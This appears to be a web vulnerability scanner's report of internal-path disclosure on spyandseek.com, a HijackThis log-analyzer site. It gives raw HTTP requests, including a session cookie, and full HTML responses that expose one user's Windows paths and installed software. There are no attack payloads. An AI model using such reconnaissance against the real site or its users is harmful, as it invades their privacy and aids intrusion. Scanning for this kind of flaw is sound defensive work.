value='1140'>40</option><option value='1170'>41</option><option value='1200'>42</option><option value='1230'>43</option><option value='1260'>44</option><option value='1290'>45</option><option value='1320'>46</option><option value='1350'>47</option><option value='1380'>48</option><option value='1410'>49</option><option value='1440'>50</option><option value='1470'>51</option><option value='1500'>52</option><option value='1530'>53</option><option value='1560'>54</option><option value='1590'>55</option><option value='1620'>56</option><option value='1650'>57</option><option value='1680'>58</option><option value='1710'>59</option><option value='1740'>60</option><option value='1770'>61</option><option value='1800'>62</option><option value='1830'>63</option><option value='1860'>64</option><option value='1890'>65</option><option value='1920'>66</option><option value='1950'>67</option><option value='1980'>68</option><option value='2010'>69</option><option value='2040'>70</option><option value='2070'>71</option><option value='2100'>72</option><option value='2130'>73</option><option value='2160'>74</option><option value='2190'>75</option><option value='2220'>76</option><option value='2250'>77</option><option value='2280'>78</option><option value='2310'>79</option><option value='2340'>80</option><option value='2370'>81</option><option value='2400'>82</option><option value='2430'>83</option><option value='2460'>84</option><option value='2490'>85</option><option value='2520'>86</option><option value='2550'>87</option><option value='2580'>88</option><option value='2610'>89</option><option value='2640'>90</option><option value='2670'>91</option><option value='2700'>92</option><option value='2730'>93</option><option value='2760'>94</option><option value='2790'>95</option><option value='2820'>96</option><option value='2850'>97</option><option value='2880'>98</option><option value='2910'>99</option><option value='2940'>100</option><option value='2970'>101</option><option value='3000'>102</option><option value='3030'>103</option><option value='3060'>104</option><option value='3090'>105</option><option value='3120'>106</option><option value='3150'>107</option><option value='3180'>108</option><option value='3210'>109</option><option value='3240'>110</option><option value='3270'>111</option><option value='3300'>112</option><option value='3330'>113</option><option value='3360'>114</option><option value='3390'>115</option><option value='3420'>116</option><option value='3450'>117</option><option value='3480'>118</option><option value='3510'>119</option><option value='3540'>120</option><option value='3570'>121</option><option value='3600'>122</option><option value='3630'>123</option><option value='3660'>124</option><option value='3690'>125</option><option value='3720'>126</option><option value='3750'>127</option><option value='3780'>128</option><option value='3810'>129</option><option value='3840'>130</option><option value='3870'>131</option><option value='3900'>132</option><option value='3930'>133</option><option value='3960'>134</option><option value='3990'>135</option><option value='4020'>136</option><option value='4050'>137</option><option value='4080'>138</option><option value='4110'>139</option><option value='4140'>140</option><option value='4170'>141</option><option value='4200'>142</option><option value='4230'>143</option><option value='4260'>144</option><option value='4290'>145</option><option value='4320'>146</option><option value='4350'>147</option><option value='4380'>148</option><option value='4410'>149</option><option value='4440'>150</option><option value='4470'>151</option><option value='4500'>152</option><option value='4530'>153</option><option value='4560'>154</option><option value='4590'>155</option><option value='4620'>156</option><option value='4650'>157</option><option value='4680'>158</option><option value='4710'>159</option><option value='4740'>160</option><option value='4770'>161</option><option value='4800'>162</option><option value='4830'>163</option><option value='4860'>164</option><option value='4890'>165</option><option value='4920'>166</option><option value='4950'>167</option><option value='4980'>168</option><option value='5010'>169</option><option value='5040'>170</option><option value='5070'>171</option><option value='5100'>172</option><option value='5130'>173</option><option value='5160'>174</option><option value='5190'>175</option><option value='5220'>176</option><option value='5250'>177</option><option value='5280'>178</option><option value='5310'>179</option><option value='5340'>180</option><option value='5370'>181</option><option value='5400'>182</option><option value='5430'>183</option><option value='5460'>184</option><option value='5490'>185</option><option value='5520'>186</option><option value='5550'>187</option><option value='5580'>188</option><option value='5610'>189</option><option value='5640'>190</option><option value='5670'>191</option><option value='5700'>192</option><option value='5730'>193</option><option value='5760'>194</option><option value='5790'>195</option><option value='5820'>196</option><option value='5850'>197</option><option value='5880'>198</option><option value='5910'>199</option><option value='5940'>200</option><option value='5970'>201</option><option value='6000'>202</option><option value='6030'>203</option><option value='6060'>204</option><option value='6090'>205</option><option value='6120'>206</option><option value='6150'>207</option><option value='6180'>208</option><option value='6210'>209</option><option value='6240'>210</option><option value='6270'>211</option><option value='6300'>212</option><option value='6330'>213</option><option value='6360'>214</option><option value='6390'>215</option><option value='6420'>216</option><option value='6450'>217</option><option value='6480'>218</option><option value='6510'>219</option><option value='6540'>220</option><option value='6570'>221</option><option value='6600'>222</option><option value='6630'>223</option><option value='6660'>224</option><option value='6690'>225</option><option value='6720'>226</option><option value='6750'>227</option><option value='6780'>228</option><option value='6810'>229</option><option value='6840'>230</option><option value='6870'>231</option><option value='6900'>232</option><option value='6930'>233</option><option value='6960'>234</option><option value='6990'>235</option><option value='7020'>236</option><option value='7050'>237</option><option value='7080'>238</option><option value='7110'>239</option><option value='7140'>240</option><option value='7170'>241</option><option value='7200'>242</option><option value='7230'>243</option><option value='7260'>244</option><option value='7290'>245</option><option value='7320'>246</option><option value='7350'>247</option><option value='7380'>248</option><option value='7410'>249</option><option value='7440'>250</option><option value='7470'>251</option><option value='7500'>252</option><option value='7530'>253</option><option value='7560'>254</option><option value='7590'>255</option><option value='7620'>256</option><option value='7650'>257</option><option value='7680'>258</option><option value='7710'>259</option><option value='7740'>260</option><option value='7770'>261</option><option value='7800'>..
- /mylog.php4

/mylog.php4

http://www.spyandseek.com/mylog.php4?lognum=35918

Identified Internal Path(s)

  • C:\Program Files (x86)\TOSHIBA
  • C:\PROGRA~2\MICROS~4\Office12\EXCEL.EXE/3000
  • C:\Program
  • C:\Program Files (x86)\TOSHIBA\TOSHIBA Media
  • C:\Program Files (x86)\Norton PC
  • C:\Windows\system32\lxdxcoms.exe (file missing
  • C:\Program Files (x86)\Google\Google
  • C:\windows\LMIE3AA.tmp\LMI_Rescue.exe
  • C:\Users\Martha\Desktop\SystemAnalyzerGeekSquad5-6
  • C:\Users\Martha\Desktop\HJT\HijackThis.exe
  • C:\windows\LMIE3AA.tmp\LMI_Rescue_srv.exe
  • C:\Windows\System32\spoolsv.exe
  • C:\Windows\System32\vds.exe (file missing
  • C:\Windows\system32\vssvc.exe
  • C:\Windows\system32\wbem\WmiApSrv.exe (file
  • C:\Program Files (x86)\Windows Media
  • C:\Windows\system32\fxssvc.exe
  • C:\Windows\system32\wbengine.exe (file missing
  • C:\Windows\System32\snmptrap.exe
  • C:\Windows\system32\UI0Detect.exe (file missing

Request

GET /mylog.php4?lognum=35918 HTTP/1.1
Referer: http://www.spyandseek.com/logja-vu.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:50 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'><div > </div> You can use this URL to check back later<br><a href='http://www.spyandseek.com/mylog.php4?lognum=35918'>http://www.spyandseek.com/mylog.php4?lognum=35918</a><br><FORM method='post' action='sas.php4'><table class='maintable' ><tr><th scope='col' align='center' >Result</th>
<th scope='col' align='center' >Good-Bad</th>
<th scope='col' align='center' >Search</th>
<th scope='col' align='center' >Hijack This Log File Entry</th></tr>

<tr><td></td><td align='center'></td><td align='left'></td></tr><tr ><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>1 - 11</td><td align='center' ><a HREF='Search.php4?search_for=Toolbar,LinksFolderName =' target='_blank'>SS(10,988)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=Toolbar,LinksFolderName =' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=191' onClick=" launchWindow('SAScom.php4?comments_for=191', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>R0 - HKCU\Software\Microsoft\Internet<wbr>Explorer\Toolbar,LinksFolderName =</td></tr><tr class='odd'><td align='center' bgcolor='#FF7619'>Bad</td><td align='center'>1 - 2</td><td align='center' ><a HREF='Search.php4?search_for=Search,CustomizeSearch =' target='_blank'>SS(6,814)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=Search,CustomizeSearch =' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=13331' onClick=" launchWindow('SAScom.php4?comments_for=13331', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>R0 - HKLM\Software\Microsoft\Internet<wbr>Explorer\Search,CustomizeSearch =</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=GameConsoleService.exe' target='_blank'>SS(48)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=GameConsoleService.exe' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=124417' onClick=" launchWindow('SAScom.php4?comments_for=124417', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O23 - Service: GameConsoleService - WildTangent,<wbr>Inc. - C:\Program Files (x86)\TOSHIBA<wbr>Games\TOSHIBA Game Console\GameConsoleService.exe</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=EXCEL.EXE/3000' target='_blank'>SS(979)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=EXCEL.EXE/3000' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=164953' onClick=" launchWindow('SAScom.php4?comments_for=164953', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O8 - Extra context menu item: E&xport to Microsoft<wbr>Excel -<wbr>res://C:\PROGRA~2\MICROS~4\Office12\EXCEL.EXE/3000</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=TecoService.exe' target='_blank'>SS(2)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=TecoService.exe' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=200707' onClick=" launchWindow('SAScom.php4?comments_for=200707', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O23 - Service: TOSHIBA eco Utility Service -<wbr>TOSHIBA Corporation - C:\Program<wbr>Files\TOSHIBA\TECO\TecoService.exe</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for={F3C88694-EFFA-4d78-B409-54B7B2535B14}' target='_blank'>SS(24)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q={F3C88694-EFFA-4d78-B409-54B7B2535B14}' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=277521' onClick=" launchWindow('SAScom.php4?comments_for=277521', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O2 - BHO: TOSHIBA Media Controller Plug-in -<wbr>{F3C88694-EFFA-4d78-B409-54B7B2535B14} -<wbr>C:\Program Files (x86)\TOSHIBA\TOSHIBA Media<wbr>Controller Plug-in\TOSHIBAMediaControllerIE.dll</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics' target='_blank'>SS(625)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=292326' onClick=" launchWindow('SAScom.php4?comments_for=292326', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O11 - Options group: [ACCELERATED_GRAPHICS]<wbr>Accelerated graphics</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=ccSvcHst.exe' target='_blank'>SS(598)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=ccSvcHst.exe' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=309879' onClick=" launchWindow('SAScom.php4?comments_for=309879', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>C:\Program Files (x86)\Norton PC<wbr>Checkup\Engine\2.0.3.198\ccSvcHst.exe</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=ccSvcHst.exe' target='_blank'>SS(598)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=ccSvcHst.exe' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=309884' onClick=" launchWindow('SAScom.php4?comments_for=309884', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O23 - Service: Common Client Job Manager Service<wbr>(PCCUJobMgr) - Symantec Corporation - C:\Program<wbr>Files (x86)\Norton PC<wbr>Checkup\Engine\2.0.3.198\ccSvcHst.exe</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=lxdxcoms.exe (file missing)' target='_blank'>SS(19,827)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=lxdxcoms.exe (file missing)' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=312997' onClick=" launchWindow('SAScom.php4?comments_for=312997', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O23 - Service: lxdx_device - Unknown owner -<wbr>C:\Windows\system32\lxdxcoms.exe (file missing)</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=ToshibaAppPlace.exe"' target='_blank'>SS(3)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=ToshibaAppPlace.exe"' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=317152' onClick=" launchWindow('SAScom.php4?comments_for=317152', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O4 - HKLM\..\Run: [ToshibaAppPlace] "C:\Program<wbr>Files (x86)\Toshiba\Toshiba App<wbr>Place\ToshibaAppPlace.exe"</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=GoogleToolbarDynamic_mui_en_D183CA64F05FDD98.dll/cmsidewiki.html' target='_blank'>SS(5,276)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=GoogleToolbarDynamic_mui_en_D183CA64F05FDD98.dll/cmsidewiki.html' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=324781' onClick=" launchWindow('SAScom.php4?comments_for=324781', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>O8 - Extra context menu item: Google Sidewiki... -<wbr>res://C:\Program Files (x86)\Google\Google<wbr>Toolbar\Component\GoogleToolbarDynamic_mui_en_D183<wbr>CA64F05FDD98.dll/cmsidewiki.html</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=LMI_Rescue.exe' target='_blank'>SS(573)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=LMI_Rescue.exe' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=354025' onClick=" launchWindow('SAScom.php4?comments_for=354025', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>C:\windows\LMIE3AA.tmp\LMI_Rescue.exe</td></tr><tr class='odd'><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0 - 0</td><td align='center' bgcolor='#B0E0E6'><a HREF='Search.php4?search_for=SystemAnalyzer.exe' target='_blank'>SS(25)</a> - <a HREF='http://www.google.com/search?hl=en&lr=&q=SystemAnalyzer.exe' target='_blank'>GS</a> <br><a HREF='SAScom.php4?comments_for=354026' onClick=" launchWindow('SAScom.php4?comments_for=354026', 'width = 420, height = 480, scrollbars'); return false; " target='_self'>Comments_(0)</a><BR></td><td align='left'>C:\Users\Martha\Desktop\SystemAnalyzerGeekSquad5-6<wbr>\SystemAnalyzer.exe</td></tr><tr ><td align='center' bgcolor='#FFFF00'>Unknown</td><td align='center'>0..
- /Search.php4

/Search.php4

http://www.spyandseek.com/Search.php4?search_for=%7BF27237D7-93C8-44C2-AC6E-D6057B9A918F%7D

Identified Internal Path(s)

  • C:\WINDOWS\batmeter16.dll
  • C:\PROGRA~1\Yahoo
  • D:\PROGRA~1\Yahoo

Request

GET /Search.php4?search_for=%7BF27237D7-93C8-44C2-AC6E-D6057B9A918F%7D HTTP/1.1
Referer: http://www.spyandseek.com/newgood.php4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'><br><div align='center'><p><strong>SAS Database Search.</strong><br > <form action='Search.php4' method='get' > <INPUT type='text' name='search_for' size='60' maxlength='254' value='{F27237D7-93C8-44C2-AC6E-D6057B9A918F}'><br><input class='press' name='search' type='submit' value='SAS-Search' > Use Pattern Search <input type='checkbox' name='patternM' value='true' /><br></p> </form></div> <br> <br>
<div align='center'><p><a href='http://www.google.com/'><strong>Google Web Search.</strong></a>
<form method='get' action='http://www.google.com/custom' target='_blank'>

<input type='text' name='q' size='60' maxlength='255' value='{F27237D7-93C8-44C2-AC6E-D6057B9A918F}'></input> <br>
<input class='press' type='submit' name='sa' value='Google Search'></input>
<input type='hidden' name='client' value='pub-1674685026599860'></input>
<input type='hidden' name='forid' value='1'></input>
<input type='hidden' name='channel' value='7849628979'></input>
<input type='hidden' name='ie' value='ISO-8859-1'></input>
<input type='hidden' name='oe' value='ISO-8859-1'></input>
<input type='hidden' name='safe' value='active'></input>
<input type='hidden' name='cof' value='GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:ffffff;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;LH:41;LW:100;L:http://www.google.com/images/google_sm.gif;S:http://www.google.com/custom?hl=en&oe=ISO-8859-1&safe=active&client=pub-1674685026599860&channel=7849628979;LP:1;FORID:1'></input>
<input type='hidden' name='hl' value='en'></input>
</form></P> </div><br>
<table cellspacing='0'>
